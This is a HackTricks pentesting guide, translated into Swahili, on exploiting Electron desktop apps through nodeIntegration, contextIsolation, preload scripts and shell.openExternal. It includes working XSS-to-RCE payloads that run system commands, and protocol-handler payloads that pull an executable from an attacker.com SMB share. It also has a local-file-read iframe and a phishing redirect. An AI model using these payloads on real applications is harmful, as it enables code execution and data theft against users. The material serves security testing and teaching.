hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-04-07 03:36:12 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:36:12 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:36:12 +00:00
electron-contextisolation-rce-via-preload-code.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:36:12 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:36:12 +00:00

Programu za Kompyuta za Electron

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Utangulizi

Electron inachanganya seva ya ndani (na NodeJS) na sehemu ya mbele (Chromium), ingawa inakosa baadhi ya mifumo ya usalama ya vivinjari vya kisasa.

Kawaida unaweza kupata msimbo wa programu ya electron ndani ya programu ya .asar, ili kupata msimbo unahitaji kuutoa:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Katika msimbo wa chanzo wa programu ya Electron, ndani ya packet.json, unaweza kupata main.js faili ambapo mipangilio ya usalama imewekwa.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ina aina 2 za michakato:

  • Michakato ya Kuu (ina ufikivu kamili wa NodeJS)
  • Michakato ya Mchoraji (inapaswa kuwa na ufikivu mdogo wa NodeJS kwa sababu za usalama)

Mchakato wa mchoraji utakuwa dirisha la kivinjari linalopakia faili:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Mipangilio ya mchakato wa renderer inaweza kusanidiwa katika mchakato wa msingi ndani ya faili ya main.js. Baadhi ya mipangilio itazuia programu ya Electron kupata RCE au mapungufu mengine ikiwa mipangilio imewekwa kwa usahihi.

Programu ya electron inaweza kupata kifaa kupitia apis za Node ingawa inaweza kusanidiwa kuzuia hilo:

  • nodeIntegration - ni off kwa chaguo-msingi. Ikiwa ni on, inaruhusu kupata vipengele vya node kutoka kwa mchakato wa renderer.
  • contextIsolation - ni on kwa chaguo-msingi. Ikiwa ni off, mchakato wa msingi na renderer hawajaachanishwa.
  • preload - tupu kwa chaguo-msingi.
  • sandbox - ni off kwa chaguo-msingi. Itazuia vitendo ambavyo NodeJS inaweza kutekeleza.
  • Ushirikiano wa Node katika Wafanyikazi
  • nodeIntegrationInSubframes - ni off kwa chaguo-msingi.
  • Ikiwa nodeIntegration ime wezeshwa, hii itaruhusu matumizi ya Node.js APIs kwenye kurasa za wavuti zilizopakiwa kwenye iframes ndani ya programu ya Electron.
  • Ikiwa nodeIntegration ime lemazwa, basi preloads zitapakia kwenye iframe

Mfano wa usanidi:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Baadhi ya mizigo ya RCE kutoka hapa:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Kukamata trafiki

Badilisha mazingira ya start-main na ongeza matumizi ya proxi kama:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Uingizaji wa Kanuni za Ndani za Electron

Ikiwa unaweza kutekeleza programu ya Electron kwa kifaa chako, inawezekana kuifanya itekeleze kanuni za javascript za kupindukia. Angalia jinsi ya kufanya hivyo:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Ikiwa nodeIntegration imewekwa kuwa on, javascript ya ukurasa wa wavuti inaweza kutumia kwa urahisi vipengele vya Node.js kwa kuita require(). Kwa mfano, njia ya kutekeleza programu ya hesabu kwenye Windows ni:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Skripti iliyoorodheshwa katika mipangilio hii inangia kabla ya skripti nyingine kwenye renderer, hivyo ina upatikanaji usio na kikomo wa Node APIs:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Kwa hivyo, script inaweza kuuza node-features kwa kurasa:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Ikiwa contextIsolation iko, hii haitafanya kazi {% endhint %}

RCE: XSS + contextIsolation

contextIsolation inaleta muktadha uliogawanyika kati ya skripti za ukurasa wa wavuti na msimbo wa ndani wa JavaScript wa Electron ili utekelezaji wa JavaScript wa kila msimbo usiathiri mwingine. Hii ni sifa muhimu ya kufuta uwezekano wa RCE.

Ikiwa muktadha haujatengwa, mkaidi anaweza:

  1. Kutekeleza JavaScript ya kupindukia kwenye renderer (XSS au kuhamia kwenye tovuti za nje)
  2. Kubadilisha njia iliyojengwa ambayo hutumiwa katika upakiaji wa msimbo au msimbo wa ndani wa Electron kwa kazi yake mwenyewe
  3. Kuzindua matumizi ya njia iliyobadilishwa
  4. RCE?

Kuna sehemu 2 ambapo njia zilizojengwa zinaweza kubadilishwa: Katika msimbo wa upakiaji au katika msimbo wa ndani wa Electron:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Kupuuza tukio la bonyeza

Ikiwa kuna vizuizi vilivyowekwa unapobonyeza kiungo unaweza kuweza kupuuza kufanya bonyeza la kati badala ya bonyeza la kushoto la kawaida

window.addEventListener('click', (e) => {

RCE kupitia shell.openExternal

Kwa habari zaidi kuhusu mifano hii angalia https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 na https://benjamin-altpeter.de/shell-openexternal-dangers/

Wakati wa kutekeleza programu ya desktop ya Electron, kuhakikisha mipangilio sahihi ya nodeIntegration na contextIsolation ni muhimu. Imethibitishwa kwamba utekelezaji wa kanuni za mbali (RCE) upande wa mteja unalenga skripti za kuanzisha au kanuni ya asili ya Electron kutoka kwa mchakato mkuu inazuia kwa ufanisi na mipangilio hii ikiwa mahali.

Mara tu mtumiaji anaposhirikiana na viungo au kufungua madirisha mapya, wasikilizaji maalum wa matukio hutekelezwa, ambayo ni muhimu kwa usalama na utendaji wa programu:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Watu hawa hufunikwa na maombi ya desktop ili kutekeleza mantiki yake ya biashara. Programu hii huchambua ikiwa kiungo kilichopita kinapaswa kufunguliwa ndani au kwenye kivinjari cha wavuti cha nje. Uamuzi huu kawaida hufanywa kupitia kazi, openInternally. Ikiwa kazi hii inarudi uwongo, inaonyesha kwamba kiungo hicho kinapaswa kufunguliwa kwa nje, kwa kutumia kazi ya shell.openExternal.

Hapa kuna pseudocode iliyosimpliwa:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Mazoea bora ya usalama ya Electron JS yanashauri dhidi ya kukubali maudhui yasiyotegemewa na kazi ya openExternal, kwani inaweza kusababisha RCE kupitia itifaki mbalimbali. Mifumo ya uendeshaji inasaidia itifaki tofauti ambazo zinaweza kusababisha RCE. Kwa mifano kamili na maelezo zaidi juu ya mada hii, mtu anaweza kurejelea rasilimali hii, ambayo inajumuisha mifano ya itifaki za Windows zenye uwezo wa kutumia udhaifu huu.

Mifano ya mashambulizi ya itifaki za Windows ni pamoja na:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Kusoma Faili za Ndani: XSS + contextIsolation

Kulemaza contextIsolation inawezesha matumizi ya vitambulisho vya <webview>, sawa na <iframe>, kwa kusoma na kuchukua faili za ndani. Mfano uliotolewa unaonyesha jinsi ya kutumia udhaifu huu kusoma maudhui ya faili za ndani:

Zaidi, njia nyingine ya kusoma faili ya ndani inashirikiwa, ikisisitiza udhaifu muhimu wa kusoma faili za ndani katika programu ya desktop ya Electron. Hii inahusisha kuingiza script kudanganya programu na kuchukua data:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Chromium ya Zamani

Ikiwa chromium inayotumiwa na programu ni zamani na kuna mapungufu yaliyojulikana kwenye hiyo, inaweza kuwa inawezekana kuitumia na kupata RCE kupitia XSS.
Unaweza kuona mfano katika makala hii: https://blog.electrovolt.io/posts/discord-rce/

XSS ya Uvutaji kwa Kupitia Bypass ya Regex ya URL ya Ndani

Kukisia umepata XSS lakini hauwezi kuzindua RCE au kuiba faili za ndani unaweza jaribu kutumia hiyo kuiba siri kupitia uvutaji.

Kwanza kabisa unahitaji kujua kinachotokea unapojaribu kufungua URL mpya, kwa kuangalia msimbo wa JS katika sehemu ya mbele:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Mwito wa openInternally utaamua ikiwa kiungo kitafunguliwa kwenye dirisha la desktop kama ni kiungo kinachomilikiwa na jukwaa, au kitafunguliwa kwenye kivinjari kama rasilimali ya tatu.

Katika kesi regex inayotumiwa na kazi hiyo inaweza kuwa dhaifu kwa kuzidiwa (kwa mfano kwa kutotoroka vipande vya subdomains) mkaidi anaweza kutumia XSS kufungua dirisha jipya ambalo litakuwa kwenye miundombinu ya mkaidi kutaka vibali kutoka kwa mtumiaji:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Vyombo

  • Electronegativity ni chombo cha kutambua mipangilio isiyofaa na mifano ya usalama katika programu za Electron.
  • Electrolint ni programu-jalizi ya VS Code ya chanzo wazi kwa programu za Electron inayotumia Electronegativity.
  • nodejsscan kwa ajili ya kuangalia maktaba za tatu zinazoweza kuwa na mapungufu ya usalama.
  • Electro.ng: Unahitaji kununua

Maabara

Katika https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s unaweza kupata maabara ya kutumia programu za Electron zilizo na mapungufu.

Baadhi ya amri zitakazokusaidia katika maabara:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Vyanzo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: